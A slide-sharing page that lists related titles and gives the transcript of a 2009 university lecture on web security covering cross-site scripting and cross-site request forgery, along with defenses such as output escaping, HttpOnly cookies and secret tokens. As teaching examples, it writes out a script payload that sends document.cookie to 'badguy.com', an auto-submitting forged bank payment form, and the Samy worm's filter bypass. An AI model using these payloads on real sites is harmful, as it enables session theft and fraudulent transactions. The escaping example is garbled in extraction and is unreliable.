Nick Feamster CS 6262 Spring 2009

Slides:



Advertisements
Similar presentations
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems © 2002, Predictive Systems.
Advertisements

Cross Site Scripting (XSS)
Cookie Same Origin Policy Dan Boneh CS 142 Winter 2009 Monday: session management using cookies.
Cross-site Request Forgery (CSRF) Attacks
Past, Present and Future By Eoin Keary and Jim Manico
What is code injection? Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by.
© 2009 IBM Corporation IBM Rational Application Security The Bank Job Utilizing XSS Vulnerabilities Adi Sharabani IBM Rational Application Security Research.
Session Management Dan Boneh CS 142 Winter Sessions A sequence of requests and responses from one browser to one (or more) sites Session can be.
HI-TEC 2011 SQL Injection. Client’s Browser HTTP or HTTPS Web Server Apache or IIS HTML Forms CGI Scripts Database SQL Server or Oracle or MySQL ODBC.
Path Cutter: Severing the Self-Propagation Path of XSS JavaScript Worms in Social Web Networks Yinzhi Cao, Vinod Yegneswaran, Phillip Porras, and Yan Chen.
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
CS426Fall 2010/Lecture 361 Computer Security CS 426 Lecture 41 StuxNet, Cross Site Scripting & Cross Site Request Forgery.
EECS 354 Network Security Cross Site Scripting (XSS)
Team Members: Brad Stancel,
CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Lecture 16 Page 1 CS 236 Online Cross-Site Scripting XSS Many sites allow users to upload information –Blogs, photo sharing, Facebook, etc. –Which gets.
CROSS SITE SCRIPTING..! (XSS). Overview What is XSS? Types of XSS Real world Example Impact of XSS How to protect against XSS?
Introduction to InfoSec – Recitation 10 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
Cookies Cross site scripting
Cosc 4765 Server side Web security. Web security issues From Cenzic Vulnerability report
Cross-Site Scripting Vulnerabilities Adam Doupé 11/24/2014.
Prevent Cross-Site Scripting (XSS) attack
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
Robust Defenses for Cross-Site Request Forgery CS6V Presented by Saravana M Subramanian.
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
CS526Topic 8: Web Security Part 11 Information Security CS 526 Topic 8 Web Security Part 1.
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Cross-Site Attacks James Walden Northern Kentucky University.
Foundations of Network and Computer Security J J ohn Black CSCI 6268/TLEN 5550, Spring 2013.
Robust Defenses for Cross-Site Request Forgery
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Web Security SQL Injection, XSS, CSRF, Parameter Tampering, DoS Attacks, Session Hijacking SoftUni Team Technical Trainers Software University
1 Robust Defenses for Cross-Site Request Forgery Adam Barth, Collin Jackson, John C. Mitchell Stanford University 15th ACM CCS.
CS526Topic 11: Web Security Part 11 Information Security CS 526 Topic 11 Web Security Part 1.
Presented By: Chandra Kollipara. Cross-Site Scripting: Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected.
CS526Topic 12: Web Security (2)1 Information Security CS 526 Topic 9 Web Security Part 2.
Web Security Lesson Summary ●Overview of Web and security vulnerabilities ●Cross Site Scripting ●Cross Site Request Forgery ●SQL Injection.
PHP Error Handling & Reporting. Error Handling Never allow a default error message or error number returned by the mysql_error() and mysql_errno() functions.
CSRF Attacks Daniel Chen 11/18/15. What is CSRF?  Cross Site Request Forgery (Sea-Surf)  AKA XSRF/ One Click / Sidejacking / Session Riding  Exploits.
Session Management Tyler Moore CS7403 University of Tulsa Slides adapted in part or whole from Dan Boneh, Stanford CS155 1.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
XSS 101 Jason Clark 12/20.
Echoing User Input Classic mistake in a server-side application
Building Secure ColdFusion Applications
CSCE 548 Student Presentation Ryan Labrador
An Introduction to Web Application Security
World Wide Web policy.
Cross-Site Forgery
Cross-Site Request Forgeries: Exploitation and Prevention
CSC 482/582: Computer Security
Auditing Etsy The Security of Etsy
Riding Someone Else’s Wave with CSRF
CSC 495/583 Topics of Software Security Intro to Web Security
Cross-Site Request Forgery (CSRF) Attack Lab
Foundations of Network and Computer Security
Web Security Advanced Network Security Peter Reiher August, 2014
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems
Exploring DOM-Based Cross Site Attacks
Cross-Site Scripting Attack (XSS)
Cross Site Request Forgery (CSRF)
Presentation transcript:

Nick Feamster CS 6262 Spring 2009 Web Security Nick Feamster CS 6262 Spring 2009

Cross-Site Scripting Overview Attack Server visit web site 1 receive malicious page 2 send valuable data 5 3 User Victim 4 click on link echo user input Server Victim 2

The Setup User input is echoed into HTML response. Example: search field http://victim.com/search.php ? term = apple search.php responds with: <HTML> <TITLE> Search Results </TITLE> <BODY> Results for <?php echo $_GET[term] ?> : . . . </BODY> </HTML> Is this exploitable? 3

Bad Input Consider link: (properly URL encoded) http://victim.com/search.php ? term = <script> window.open( “http://badguy.com?cookie = ” + document.cookie ) </script> What if user clicks on this link? Browser goes to victim.com/search.php Victim.com returns <HTML> Results for <script> … </script> Browser executes script: Sends badguy.com cookie for victim.com 4

So What? Why would user click on such a link? Phishing email in webmail client (e.g. gmail). Link in doubleclick banner ad … many many ways to fool user into clicking What if badguy.com gets cookie for victim.com ? Cookie can include session auth for victim.com Or other data intended only for victim.com Violates same origin policy 5

Much Worse Attacker can execute arbitrary scripts in browser Can manipulate any DOM component on victim.com Control links on page Control form fields (e.g. password field) on this page and linked pages. Example: MySpace.com phishing attack injects password field that sends password to bad guy. 6

Types of XSS vulnerabilities DOM-Based (local) Problem exists within a page’s client-side script Non-persistent (“reflected”) Data provided by a Web client is used by server-side scripts to generate a page for that user Persistent (“stored”) Data provided to an application is first stored and later displayed to users in a Web page Potentially more serious if the page is rendered more than once

Example Persistent Attack Mallory posts a message to a message board When Bob reads the message, Mallory’s XSS steals Bob’s auth cookie Mallory can now impersonate Bob with Bob’s auth cookie

Example Non-Persistent Attack Bob’s Web site contains an XSS vulnerability Mallory convinces Alice to click on a URL to exploit this vulnerability The malicious script enbedded in the URL executes in Alice’s browser, as if coming from Bob’s site This script could, e.g., email Alice’s cookie to Bob

MySpace.com (Samy worm) Users can post HTML on their pages MySpace.com ensures HTML contains no <script>, <body>, onclick, <a href=javascript://> … but can do Javascript within CSS tags: <div style=“background:url(‘javascript:alert(1)’)”> And can hide “javascript” as “java\nscript” With careful javascript hacking: Samy’s worm: infects anyone who visits an infected MySpace page … and adds Samy as a friend. Samy had millions of friends within 24 hours. 10

Defenses needed at server Attack Server visit web site 1 receive malicious page 2 send valuable data 5 3 User Victim 4 click on link echo user input Server Victim 11

Avoiding XSS Bugs Main problem: Input checking is difficult --- many ways to inject scripts into HTML. Preprocess input from user before echoing it PHP: htmlspecialchars(string) &  & "  " '  ' <  < >  > htmlspecialchars( "<a href='test'>Test</a>", ENT_QUOTES); Outputs: <a href='test'>Test</a> 12

httpOnly Cookies GET … Browser Server HTTP Header: Set-cookie: NAME=VALUE ; HttpOnly Cookie sent over HTTP(s), but not accessible to scripts cannot be read via document.cookie Helps prevent cookie theft via XSS … but does not stop most other risks of XSS bugs. Another approach: Restrict use of cookies to some IP address HttpOnly in IE can be written to by script, but cannot be read 13 13

Cross Site Request Forgery

Overview Server Victim establish session 1 send forged request 4 2 visit server 3 User Victim receive malicious page Attack Server Q: how long do you stay logged on to Gmail? 15

Recall: session using cookies Browser Server POST/login.cgi Set-cookie: authenticator GET… Cookie: authenticator response

Cross Site Request Forgery (XSRF) Example: User logs in to bank.com. Does not sign off. Session cookie remains in browser state Then user visits another site containing: <form name=F action=http://bank.com/BillPay.php> <input name=recipient value=badguy> … <script> document.F.submit(); </script> Browser sends user auth cookie with request Transaction will be fulfilled Problem: cookie auth is insufficient when side effects can occur 17

Login CSRF

CSRF Defenses Secret token Check referer (sic) header Place nonce in page/form from honest site Check nonce in POST Confirm part of ongoing session with server Token in POST can be HMAC of session ID in cookie Check referer (sic) header Referer header is provided by browser, not script Unfortunately, often filtered for privacy reasons Use custom headers via XMLHttpRequest This requires global change in server apps 19

CSRF Recommendations Login CSRF HTTPS sites, such as banking sites Strict Referer validation Login forms typically submit over HTTPS, not blocked HTTPS sites, such as banking sites Use strict Referer validation to protect against CSRF Other Use Ruby-on-Rails or other framework that implements secret token method correctly Future Alternative to Referer with fewer privacy problems Send only on POST, send only necessary data 20